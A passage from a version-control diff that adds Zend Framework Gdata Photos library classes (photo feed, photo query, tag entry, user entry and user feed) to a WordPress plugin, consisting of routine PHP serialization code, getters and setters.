+        }
+        if ($this->_gphotoWidth != null) {
+            $element->appendChild($this->_gphotoWidth->getDOM($element->ownerDocument));
+        }
+        if ($this->_gphotoHeight != null) {
+            $element->appendChild($this->_gphotoHeight->getDOM($element->ownerDocument));
+        }
+        if ($this->_gphotoSize != null) {
+            $element->appendChild($this->_gphotoSize->getDOM($element->ownerDocument));
+        }
+        if ($this->_gphotoClient != null) {
+            $element->appendChild($this->_gphotoClient->getDOM($element->ownerDocument));
+        }
+        if ($this->_gphotoChecksum != null) {
+            $element->appendChild($this->_gphotoChecksum->getDOM($element->ownerDocument));
+        }
+        if ($this->_gphotoTimestamp != null) {
+            $element->appendChild($this->_gphotoTimestamp->getDOM($element->ownerDocument));
+        }
+        if ($this->_gphotoCommentingEnabled != null) {
+            $element->appendChild($this->_gphotoCommentingEnabled->getDOM($element->ownerDocument));
+        }
+        if ($this->_gphotoCommentCount != null) {
+            $element->appendChild($this->_gphotoCommentCount->getDOM($element->ownerDocument));
+        }
+        if ($this->_mediaGroup != null) {
+            $element->appendChild($this->_mediaGroup->getDOM($element->ownerDocument));
+        }
+
+        return $element;
+    }
+
+    protected function takeChildFromDOM($child)
+    {
+        $absoluteNodeName = $child->namespaceURI . ':' . $child->localName;
+
+        switch ($absoluteNodeName) {
+            case $this->lookupNamespace('gphoto') . ':' . 'id';
+                $id = new Zend_Gdata_Photos_Extension_Id();
+                $id->transferFromDOM($child);
+                $this->_gphotoId = $id;
+                break;
+            case $this->lookupNamespace('gphoto') . ':' . 'version';
+                $version = new Zend_Gdata_Photos_Extension_Version();
+                $version->transferFromDOM($child);
+                $this->_gphotoVersion = $version;
+                break;
+            case $this->lookupNamespace('gphoto') . ':' . 'albumid';
+                $albumid = new Zend_Gdata_Photos_Extension_AlbumId();
+                $albumid->transferFromDOM($child);
+                $this->_gphotoAlbumId = $albumid;
+                break;
+            case $this->lookupNamespace('gphoto') . ':' . 'width';
+                $width = new Zend_Gdata_Photos_Extension_Width();
+                $width->transferFromDOM($child);
+                $this->_gphotoWidth = $width;
+                break;
+            case $this->lookupNamespace('gphoto') . ':' . 'height';
+                $height = new Zend_Gdata_Photos_Extension_Height();
+                $height->transferFromDOM($child);
+                $this->_gphotoHeight = $height;
+                break;
+            case $this->lookupNamespace('gphoto') . ':' . 'size';
+                $size = new Zend_Gdata_Photos_Extension_Size();
+                $size->transferFromDOM($child);
+                $this->_gphotoSize = $size;
+                break;
+            case $this->lookupNamespace('gphoto') . ':' . 'client';
+                $client = new Zend_Gdata_Photos_Extension_Client();
+                $client->transferFromDOM($child);
+                $this->_gphotoClient = $client;
+                break;
+            case $this->lookupNamespace('gphoto') . ':' . 'checksum';
+                $checksum = new Zend_Gdata_Photos_Extension_Checksum();
+                $checksum->transferFromDOM($child);
+                $this->_gphotoChecksum = $checksum;
+                break;
+            case $this->lookupNamespace('gphoto') . ':' . 'timestamp';
+                $timestamp = new Zend_Gdata_Photos_Extension_Timestamp();
+                $timestamp->transferFromDOM($child);
+                $this->_gphotoTimestamp = $timestamp;
+                break;
+            case $this->lookupNamespace('gphoto') . ':' . 'commentingEnabled';
+                $commentingEnabled = new Zend_Gdata_Photos_Extension_CommentingEnabled();
+                $commentingEnabled->transferFromDOM($child);
+                $this->_gphotoCommentingEnabled = $commentingEnabled;
+                break;
+            case $this->lookupNamespace('gphoto') . ':' . 'commentCount';
+                $commentCount = new Zend_Gdata_Photos_Extension_CommentCount();
+                $commentCount->transferFromDOM($child);
+                $this->_gphotoCommentCount = $commentCount;
+                break;
+            case $this->lookupNamespace('media') . ':' . 'group';
+                $mediaGroup = new Zend_Gdata_Media_Extension_MediaGroup();
+                $mediaGroup->transferFromDOM($child);
+                $this->_mediaGroup = $mediaGroup;
+                break;
+            case $this->lookupNamespace('atom') . ':' . 'entry':
+                $entryClassName = $this->_entryClassName;
+                $tmpEntry = new Zend_Gdata_App_Entry($child);
+                $categories = $tmpEntry->getCategory();
+                foreach ($categories as $category) {
+                    if ($category->scheme == Zend_Gdata_Photos::KIND_PATH &&
+                        $this->_entryKindClassMapping[$category->term] != "") {
+                            $entryClassName = $this->_entryKindClassMapping[$category->term];
+                            break;
+                    } else {
+                        require_once 'Zend/Gdata/App/Exception.php';
+                        throw new Zend_Gdata_App_Exception('Entry is missing kind declaration.');
+                    }
+                }
+
+                $newEntry = new $entryClassName($child);
+                $newEntry->setHttpClient($this->getHttpClient());
+                $this->_entry[] = $newEntry;
+                break;
+            default:
+                parent::takeChildFromDOM($child);
+                break;
+        }
+    }
+
+    /**
+     * Get the value for this element's gphoto:id attribute.
+     *
+     * @see setGphotoId
+     * @return string The requested attribute.
+     */
+    public function getGphotoId()
+    {
+        return $this->_gphotoId;
+    }
+
+    /**
+     * Set the value for this element's gphoto:id attribute.
+     *
+     * @param string $value The desired value for this attribute.
+     * @return Zend_Gdata_Photos_Extension_Id The element being modified.
+     */
+    public function setGphotoId($value)
+    {
+        $this->_gphotoId = $value;
+        return $this;
+    }
+
+    /**
+     * Get the value for this element's gphoto:version attribute.
+     *
+     * @see setGphotoVersion
+     * @return string The requested attribute.
+     */
+    public function getGphotoVersion()
+    {
+        return $this->_gphotoVersion;
+    }
+
+    /**
+     * Set the value for this element's gphoto:version attribute.
+     *
+     * @param string $value The desired value for this attribute.
+     * @return Zend_Gdata_Photos_Extension_Version The element being modified.
+     */
+    public function setGphotoVersion($value)
+    {
+        $this->_gphotoVersion = $value;
+        return $this;
+    }
+
+    /**
+     * Get the value for this element's gphoto:albumid attribute.
+     *
+     * @see setGphotoAlbumId
+     * @return string The requested attribute.
+     */
+    public function getGphotoAlbumId()
+    {
+        return $this->_gphotoAlbumId;
+    }
+
+    /**
+     * Set the value for this element's gphoto:albumid attribute.
+     *
+     * @param string $value The desired value for this attribute.
+     * @return Zend_Gdata_Photos_Extension_AlbumId The element being modified.
+     */
+    public function setGphotoAlbumId($value)
+    {
+        $this->_gphotoAlbumId = $value;
+        return $this;
+    }
+
+    /**
+     * Get the value for this element's gphoto:width attribute.
+     *
+     * @see setGphotoWidth
+     * @return string The requested attribute.
+     */
+    public function getGphotoWidth()
+    {
+        return $this->_gphotoWidth;
+    }
+
+    /**
+     * Set the value for this element's gphoto:width attribute.
+     *
+     * @param string $value The desired value for this attribute.
+     * @return Zend_Gdata_Photos_Extension_Width The element being modified.
+     */
+    public function setGphotoWidth($value)
+    {
+        $this->_gphotoWidth = $value;
+        return $this;
+    }
+
+    /**
+     * Get the value for this element's gphoto:height attribute.
+     *
+     * @see setGphotoHeight
+     * @return string The requested attribute.
+     */
+    public function getGphotoHeight()
+    {
+        return $this->_gphotoHeight;
+    }
+
+    /**
+     * Set the value for this element's gphoto:height attribute.
+     *
+     * @param string $value The desired value for this attribute.
+     * @return Zend_Gdata_Photos_Extension_Height The element being modified.
+     */
+    public function setGphotoHeight($value)
+    {
+        $this->_gphotoHeight = $value;
+        return $this;
+    }
+
+    /**
+     * Get the value for this element's gphoto:size attribute.
+     *
+     * @see setGphotoSize
+     * @return string The requested attribute.
+     */
+    public function getGphotoSize()
+    {
+        return $this->_gphotoSize;
+    }
+
+    /**
+     * Set the value for this element's gphoto:size attribute.
+     *
+     * @param string $value The desired value for this attribute.
+     * @return Zend_Gdata_Photos_Extension_Size The element being modified.
+     */
+    public function setGphotoSize($value)
+    {
+        $this->_gphotoSize = $value;
+        return $this;
+    }
+
+    /**
+     * Get the value for this element's gphoto:client attribute.
+     *
+     * @see setGphotoClient
+     * @return string The requested attribute.
+     */
+    public function getGphotoClient()
+    {
+        return $this->_gphotoClient;
+    }
+
+    /**
+     * Set the value for this element's gphoto:client attribute.
+     *
+     * @param string $value The desired value for this attribute.
+     * @return Zend_Gdata_Photos_Extension_Client The element being modified.
+     */
+    public function setGphotoClient($value)
+    {
+        $this->_gphotoClient = $value;
+        return $this;
+    }
+
+    /**
+     * Get the value for this element's gphoto:checksum attribute.
+     *
+     * @see setGphotoChecksum
+     * @return string The requested attribute.
+     */
+    public function getGphotoChecksum()
+    {
+        return $this->_gphotoChecksum;
+    }
+
+    /**
+     * Set the value for this element's gphoto:checksum attribute.
+     *
+     * @param string $value The desired value for this attribute.
+     * @return Zend_Gdata_Photos_Extension_Checksum The element being modified.
+     */
+    public function setGphotoChecksum($value)
+    {
+        $this->_gphotoChecksum = $value;
+        return $this;
+    }
+
+    /**
+     * Get the value for this element's gphoto:timestamp attribute.
+     *
+     * @see setGphotoTimestamp
+     * @return string The requested attribute.
+     */
+    public function getGphotoTimestamp()
+    {
+        return $this->_gphotoTimestamp;
+    }
+
+    /**
+     * Set the value for this element's gphoto:timestamp attribute.
+     *
+     * @param string $value The desired value for this attribute.
+     * @return Zend_Gdata_Photos_Extension_Timestamp The element being modified.
+     */
+    public function setGphotoTimestamp($value)
+    {
+        $this->_gphotoTimestamp = $value;
+        return $this;
+    }
+
+    /**
+     * Get the value for this element's gphoto:commentCount attribute.
+     *
+     * @see setGphotoCommentCount
+     * @return string The requested attribute.
+     */
+    public function getGphotoCommentCount()
+    {
+        return $this->_gphotoCommentCount;
+    }
+
+    /**
+     * Set the value for this element's gphoto:commentCount attribute.
+     *
+     * @param string $value The desired value for this attribute.
+     * @return Zend_Gdata_Photos_Extension_CommentCount The element being modified.
+     */
+    public function setGphotoCommentCount($value)
+    {
+        $this->_gphotoCommentCount = $value;
+        return $this;
+    }
+
+    /**
+     * Get the value for this element's gphoto:commentingEnabled attribute.
+     *
+     * @see setGphotoCommentingEnabled
+     * @return string The requested attribute.
+     */
+    public function getGphotoCommentingEnabled()
+    {
+        return $this->_gphotoCommentingEnabled;
+    }
+
+    /**
+     * Set the value for this element's gphoto:commentingEnabled attribute.
+     *
+     * @param string $value The desired value for this attribute.
+     * @return Zend_Gdata_Photos_Extension_CommentingEnabled The element being modified.
+     */
+    public function setGphotoCommentingEnabled($value)
+    {
+        $this->_gphotoCommentingEnabled = $value;
+        return $this;
+    }
+
+    /**
+     * Get the value for this element's media:group attribute.
+     *
+     * @see setMediaGroup
+     * @return string The requested attribute.
+     */
+    public function getMediaGroup()
+    {
+        return $this->_mediaGroup;
+    }
+
+    /**
+     * Set the value for this element's media:group attribute.
+     *
+     * @param string $value The desired value for this attribute.
+     * @return Zend_Gdata_Media_Extension_MediaGroup The element being modified.
+     */
+    public function setMediaGroup($value)
+    {
+        $this->_mediaGroup = $value;
+        return $this;
+    }
+
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Photos/PhotoQuery.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Photos/PhotoQuery.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Photos/PhotoQuery.php	(revision 44)
@@ -0,0 +1,97 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Photos
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * @see Zend_Gdata_Gapps_Picasa_AlbumQuery
+ */
+require_once('Zend/Gdata/Photos/AlbumQuery.php');
+
+/**
+ * Assists in constructing queries for comment/tag entries.
+ * Instances of this class can be provided in many places where a URL is
+ * required.
+ *
+ * For information on submitting queries to a server, see the
+ * service class, Zend_Gdata_Photos.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Photos
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_Photos_PhotoQuery extends Zend_Gdata_Photos_AlbumQuery
+{
+
+    /**
+     * The ID of the photo to query for.
+     *
+     * @var string
+     */
+    protected $_photoId = null;
+
+    /**
+     * Set the photo ID to query for. When set, this photo's comments/tags
+     * will be returned. If not set or null, the default user's feed will be
+     * returned instead.
+     *
+     * @param string $value The ID of the photo to retrieve, or null to
+     *          clear.
+     */
+     public function setPhotoId($value)
+     {
+         $this->_photoId = $value;
+     }
+
+    /**
+     * Get the photo ID which is to be returned.
+     *
+     * @see setPhoto
+     * @return string The ID of the photo to retrieve.
+     */
+    public function getPhotoId()
+    {
+        return $this->_photoId;
+    }
+
+    /**
+     * Returns the URL generated for this query, based on it's current
+     * parameters.
+     *
+     * @return string A URL generated based on the state of this query.
+     * @throws Zend_Gdata_App_InvalidArgumentException
+     */
+    public function getQueryUrl($incomingUri = '')
+    {
+        $uri = '';
+        if ($this->getPhotoId() !== null) {
+            $uri .= '/photoid/' . $this->getPhotoId();
+        } else {
+            require_once 'Zend/Gdata/App/InvalidArgumentException.php';
+            throw new Zend_Gdata_App_InvalidArgumentException(
+                    'PhotoId cannot be null');
+        }
+        $uri .= $incomingUri;
+        return parent::getQueryUrl($uri);
+    }
+
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Photos/TagEntry.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Photos/TagEntry.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Photos/TagEntry.php	(revision 44)
@@ -0,0 +1,139 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Photos
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * @see Zend_Gdata_Entry
+ */
+require_once 'Zend/Gdata/Entry.php';
+
+/**
+ * @see Zend_Gdata_Photos_Extension_Weight
+ */
+require_once 'Zend/Gdata/Photos/Extension/Weight.php';
+
+/**
+ * @see Zend_Gdata_App_Extension_Category
+ */
+require_once 'Zend/Gdata/App/Extension/Category.php';
+
+/**
+ * Data model class for a Tag Entry.
+ *
+ * To transfer user entries to and from the servers, including
+ * creating new entries, refer to the service class,
+ * Zend_Gdata_Photos.
+ *
+ * This class represents <atom:entry> in the Google Data protocol.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Photos
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_Photos_TagEntry extends Zend_Gdata_Entry
+{
+
+    protected $_entryClassName = 'Zend_Gdata_Photos_TagEntry';
+
+    protected $_gphotoWeight = null;
+
+    /**
+     * Create a new instance.
+     *
+     * @param DOMElement $element (optional) DOMElement from which this
+     *          object should be constructed.
+     */
+    public function __construct($element = null)
+    {
+        $this->registerAllNamespaces(Zend_Gdata_Photos::$namespaces);
+        parent::__construct($element);
+
+        $category = new Zend_Gdata_App_Extension_Category(
+            'http://schemas.google.com/photos/2007#tag',
+            'http://schemas.google.com/g/2005#kind');
+        $this->setCategory(array($category));
+    }
+
+    /**
+     * Retrieves a DOMElement which corresponds to this element and all
+     * child properties.  This is used to build an entry back into a DOM
+     * and eventually XML text for application storage/persistence.
+     *
+     * @param DOMDocument $doc The DOMDocument used to construct DOMElements
+     * @return DOMElement The DOMElement representing this element and all
+     *          child properties.
+     */
+    public function getDOM($doc = null, $majorVersion = 1, $minorVersion = null)
+    {
+        $element = parent::getDOM($doc, $majorVersion, $minorVersion);
+        if ($this->_gphotoWeight !== null) {
+            $element->appendChild($this->_gphotoWeight->getDOM($element->ownerDocument));
+        }
+        return $element;
+    }
+
+    /**
+     * Creates individual Entry objects of the appropriate type and
+     * stores them as members of this entry based upon DOM data.
+     *
+     * @param DOMNode $child The DOMNode to process
+     */
+    protected function takeChildFromDOM($child)
+    {
+        $absoluteNodeName = $child->namespaceURI . ':' . $child->localName;
+
+        switch ($absoluteNodeName) {
+            case $this->lookupNamespace('gphoto') . ':' . 'weight';
+                $weight = new Zend_Gdata_Photos_Extension_Weight();
+                $weight->transferFromDOM($child);
+                $this->_gphotoWeight = $weight;
+                break;
+            default:
+                parent::takeChildFromDOM($child);
+                break;
+        }
+    }
+
+    /**
+     * Get the value for this element's gphoto:weight attribute.
+     *
+     * @see setGphotoWeight
+     * @return string The requested attribute.
+     */
+    public function getGphotoWeight()
+    {
+        return $this->_gphotoWeight;
+    }
+
+    /**
+     * Set the value for this element's gphoto:weight attribute.
+     *
+     * @param string $value The desired value for this attribute.
+     * @return Zend_Gdata_Photos_Extension_Weight The element being modified.
+     */
+    public function setGphotoWeight($value)
+    {
+        $this->_gphotoWeight = $value;
+        return $this;
+    }
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Photos/UserEntry.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Photos/UserEntry.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Photos/UserEntry.php	(revision 44)
@@ -0,0 +1,365 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Photos
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * @see Zend_Gdata_Entry
+ */
+require_once 'Zend/Gdata/Entry.php';
+
+/**
+ * @see Zend_Gdata_Gapps
+ */
+require_once 'Zend/Gdata/Gapps.php';
+
+/**
+ * @see Zend_Gdata_Photos_Extension_Nickname
+ */
+require_once 'Zend/Gdata/Photos/Extension/Nickname.php';
+
+/**
+ * @see Zend_Gdata_Photos_Extension_Thumbnail
+ */
+require_once 'Zend/Gdata/Photos/Extension/Thumbnail.php';
+
+/**
+ * @see Zend_Gdata_Photos_Extension_QuotaCurrent
+ */
+require_once 'Zend/Gdata/Photos/Extension/QuotaCurrent.php';
+
+/**
+ * @see Zend_Gdata_Photos_Extension_QuotaLimit
+ */
+require_once 'Zend/Gdata/Photos/Extension/QuotaLimit.php';
+
+/**
+ * @see Zend_Gdata_Photos_Extension_MaxPhotosPerAlbum
+ */
+require_once 'Zend/Gdata/Photos/Extension/MaxPhotosPerAlbum.php';
+
+/**
+ * @see Zend_Gdata_Photos_Extension_User
+ */
+require_once 'Zend/Gdata/Photos/Extension/User.php';
+
+/**
+ * @see Zend_Gdata_App_Extension_Category
+ */
+require_once 'Zend/Gdata/App/Extension/Category.php';
+
+/**
+ * Data model class for a User Entry.
+ *
+ * To transfer user entries to and from the servers, including
+ * creating new entries, refer to the service class,
+ * Zend_Gdata_Photos.
+ *
+ * This class represents <atom:entry> in the Google Data protocol.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Photos
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_Photos_UserEntry extends Zend_Gdata_Entry
+{
+
+    protected $_entryClassName = 'Zend_Gdata_Photos_UserEntry';
+
+    /**
+     * gphoto:nickname element
+     *
+     * @var Zend_Gdata_Photos_Extension_Nickname
+     */
+    protected $_gphotoNickname = null;
+
+    /**
+     * gphoto:user element
+     *
+     * @var Zend_Gdata_Photos_Extension_User
+     */
+    protected $_gphotoUser = null;
+
+    /**
+     * gphoto:thumbnail element
+     *
+     * @var Zend_Gdata_Photos_Extension_Thumbnail
+     */
+    protected $_gphotoThumbnail = null;
+
+    /**
+     * gphoto:quotalimit element
+     *
+     * @var Zend_Gdata_Photos_Extension_QuotaLimit
+     */
+    protected $_gphotoQuotaLimit = null;
+
+    /**
+     * gphoto:quotacurrent element
+     *
+     * @var Zend_Gdata_Photos_Extension_QuotaCurrent
+     */
+    protected $_gphotoQuotaCurrent = null;
+
+    /**
+     * gphoto:maxPhotosPerAlbum element
+     *
+     * @var Zend_Gdata_Photos_Extension_MaxPhotosPerAlbum
+     */
+    protected $_gphotoMaxPhotosPerAlbum = null;
+
+    /**
+     * Create a new instance.
+     *
+     * @param DOMElement $element (optional) DOMElement from which this
+     *          object should be constructed.
+     */
+    public function __construct($element = null)
+    {
+        $this->registerAllNamespaces(Zend_Gdata_Photos::$namespaces);
+        parent::__construct($element);
+
+        $category = new Zend_Gdata_App_Extension_Category(
+            'http://schemas.google.com/photos/2007#user',
+            'http://schemas.google.com/g/2005#kind');
+        $this->setCategory(array($category));
+    }
+
+    /**
+     * Retrieves a DOMElement which corresponds to this element and all
+     * child properties.  This is used to build an entry back into a DOM
+     * and eventually XML text for application storage/persistence.
+     *
+     * @param DOMDocument $doc The DOMDocument used to construct DOMElements
+     * @return DOMElement The DOMElement representing this element and all
+     *          child properties.
+     */
+    public function getDOM($doc = null, $majorVersion = 1, $minorVersion = null)
+    {
+        $element = parent::getDOM($doc, $majorVersion, $minorVersion);
+        if ($this->_gphotoNickname !== null) {
+            $element->appendChild($this->_gphotoNickname->getDOM($element->ownerDocument));
+        }
+        if ($this->_gphotoThumbnail !== null) {
+            $element->appendChild($this->_gphotoThumbnail->getDOM($element->ownerDocument));
+        }
+        if ($this->_gphotoUser !== null) {
+            $element->appendChild($this->_gphotoUser->getDOM($element->ownerDocument));
+        }
+        if ($this->_gphotoQuotaCurrent !== null) {
+            $element->appendChild($this->_gphotoQuotaCurrent->getDOM($element->ownerDocument));
+        }
+        if ($this->_gphotoQuotaLimit !== null) {
+            $element->appendChild($this->_gphotoQuotaLimit->getDOM($element->ownerDocument));
+        }
+        if ($this->_gphotoMaxPhotosPerAlbum !== null) {
+            $element->appendChild($this->_gphotoMaxPhotosPerAlbum->getDOM($element->ownerDocument));
+        }
+        return $element;
+    }
+
+    /**
+     * Creates individual Entry objects of the appropriate type and
+     * stores them as members of this entry based upon DOM data.
+     *
+     * @param DOMNode $child The DOMNode to process
+     */
+    protected function takeChildFromDOM($child)
+    {
+        $absoluteNodeName = $child->namespaceURI . ':' . $child->localName;
+
+        switch ($absoluteNodeName) {
+            case $this->lookupNamespace('gphoto') . ':' . 'nickname';
+                $nickname = new Zend_Gdata_Photos_Extension_Nickname();
+                $nickname->transferFromDOM($child);
+                $this->_gphotoNickname = $nickname;
+                break;
+            case $this->lookupNamespace('gphoto') . ':' . 'thumbnail';
+                $thumbnail = new Zend_Gdata_Photos_Extension_Thumbnail();
+                $thumbnail->transferFromDOM($child);
+                $this->_gphotoThumbnail = $thumbnail;
+                break;
+            case $this->lookupNamespace('gphoto') . ':' . 'user';
+                $user = new Zend_Gdata_Photos_Extension_User();
+                $user->transferFromDOM($child);
+                $this->_gphotoUser = $user;
+                break;
+            case $this->lookupNamespace('gphoto') . ':' . 'quotacurrent';
+                $quotaCurrent = new Zend_Gdata_Photos_Extension_QuotaCurrent();
+                $quotaCurrent->transferFromDOM($child);
+                $this->_gphotoQuotaCurrent = $quotaCurrent;
+                break;
+            case $this->lookupNamespace('gphoto') . ':' . 'quotalimit';
+                $quotaLimit = new Zend_Gdata_Photos_Extension_QuotaLimit();
+                $quotaLimit->transferFromDOM($child);
+                $this->_gphotoQuotaLimit = $quotaLimit;
+                break;
+            case $this->lookupNamespace('gphoto') . ':' . 'maxPhotosPerAlbum';
+                $maxPhotosPerAlbum = new Zend_Gdata_Photos_Extension_MaxPhotosPerAlbum();
+                $maxPhotosPerAlbum->transferFromDOM($child);
+                $this->_gphotoMaxPhotosPerAlbum = $maxPhotosPerAlbum;
+                break;
+            default:
+                parent::takeChildFromDOM($child);
+                break;
+        }
+    }
+
+    /**
+     * Get the value for this element's gphoto:nickname attribute.
+     *
+     * @see setGphotoNickname
+     * @return string The requested attribute.
+     */
+    public function getGphotoNickname()
+    {
+        return $this->_gphotoNickname;
+    }
+
+    /**
+     * Set the value for this element's gphoto:nickname attribute.
+     *
+     * @param string $value The desired value for this attribute.
+     * @return Zend_Gdata_Photos_Extension_Nickname The element being modified.
+     */
+    public function setGphotoNickname($value)
+    {
+        $this->_gphotoNickname = $value;
+        return $this;
+    }
+
+    /**
+     * Get the value for this element's gphoto:thumbnail attribute.
+     *
+     * @see setGphotoThumbnail
+     * @return string The requested attribute.
+     */
+    public function getGphotoThumbnail()
+    {
+        return $this->_gphotoThumbnail;
+    }
+
+    /**
+     * Set the value for this element's gphoto:thumbnail attribute.
+     *
+     * @param string $value The desired value for this attribute.
+     * @return Zend_Gdata_Photos_Extension_Thumbnail The element being modified.
+     */
+    public function setGphotoThumbnail($value)
+    {
+        $this->_gphotoThumbnail = $value;
+        return $this;
+    }
+
+    /**
+     * Get the value for this element's gphoto:quotacurrent attribute.
+     *
+     * @see setGphotoQuotaCurrent
+     * @return string The requested attribute.
+     */
+    public function getGphotoQuotaCurrent()
+    {
+        return $this->_gphotoQuotaCurrent;
+    }
+
+    /**
+     * Set the value for this element's gphoto:quotacurrent attribute.
+     *
+     * @param string $value The desired value for this attribute.
+     * @return Zend_Gdata_Photos_Extension_QuotaCurrent The element being modified.
+     */
+    public function setGphotoQuotaCurrent($value)
+    {
+        $this->_gphotoQuotaCurrent = $value;
+        return $this;
+    }
+
+    /**
+     * Get the value for this element's gphoto:quotalimit attribute.
+     *
+     * @see setGphotoQuotaLimit
+     * @return string The requested attribute.
+     */
+    public function getGphotoQuotaLimit()
+    {
+        return $this->_gphotoQuotaLimit;
+    }
+
+    /**
+     * Set the value for this element's gphoto:quotalimit attribute.
+     *
+     * @param string $value The desired value for this attribute.
+     * @return Zend_Gdata_Photos_Extension_QuotaLimit The element being modified.
+     */
+    public function setGphotoQuotaLimit($value)
+    {
+        $this->_gphotoQuotaLimit = $value;
+        return $this;
+    }
+
+    /**
+     * Get the value for this element's gphoto:maxPhotosPerAlbum attribute.
+     *
+     * @see setGphotoMaxPhotosPerAlbum
+     * @return string The requested attribute.
+     */
+    public function getGphotoMaxPhotosPerAlbum()
+    {
+        return $this->_gphotoMaxPhotosPerAlbum;
+    }
+
+    /**
+     * Set the value for this element's gphoto:maxPhotosPerAlbum attribute.
+     *
+     * @param string $value The desired value for this attribute.
+     * @return Zend_Gdata_Photos_Extension_MaxPhotosPerAlbum The element being modified.
+     */
+    public function setGphotoMaxPhotosPerAlbum($value)
+    {
+        $this->_gphotoMaxPhotosPerAlbum = $value;
+        return $this;
+    }
+
+    /**
+     * Get the value for this element's gphoto:user attribute.
+     *
+     * @see setGphotoUser
+     * @return string The requested attribute.
+     */
+    public function getGphotoUser()
+    {
+        return $this->_gphotoUser;
+    }
+
+    /**
+     * Set the value for this element's gphoto:user attribute.
+     *
+     * @param string $value The desired value for this attribute.
+     * @return Zend_Gdata_Photos_Extension_User The element being modified.
+     */
+    public function setGphotoUser($value)
+    {
+        $this->_gphotoUser = $value;
+        return $this;
+    }
+
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Photos/UserFeed.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Photos/UserFeed.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Photos/UserFeed.php	(revision 44)
@@ -0,0 +1,246 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Photos
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * @see Zend_Gdata_Photos
+ */
+require_once 'Zend/Gdata/Photos.php';
+
+/**
+ * @see Zend_Gdata_Feed
+ */
+require_once 'Zend/Gdata/Feed.php';
+
+/**
+ * @see Zend_Gdata_Photos_UserEntry
+ */
+require_once 'Zend/Gdata/Photos/UserEntry.php';
+
+/**
+ * @see Zend_Gdata_Photos_AlbumEntry
+ */
+require_once 'Zend/Gdata/Photos/AlbumEntry.php';
+
+/**
+ * @see Zend_Gdata_Photos_PhotoEntry
+ */
+require_once 'Zend/Gdata/Photos/PhotoEntry.php';
+
+/**
+ * @see Zend_Gdata_Photos_TagEntry
+ */
+require_once 'Zend/Gdata/Photos/TagEntry.php';
+
+/**
+ * @see Zend_Gdata_Photos_CommentEntry
+ */
+require_once 'Zend/Gdata/Photos/CommentEntry.php';
+
+/**
+ * Data model for a collection of entries for a specific user, usually
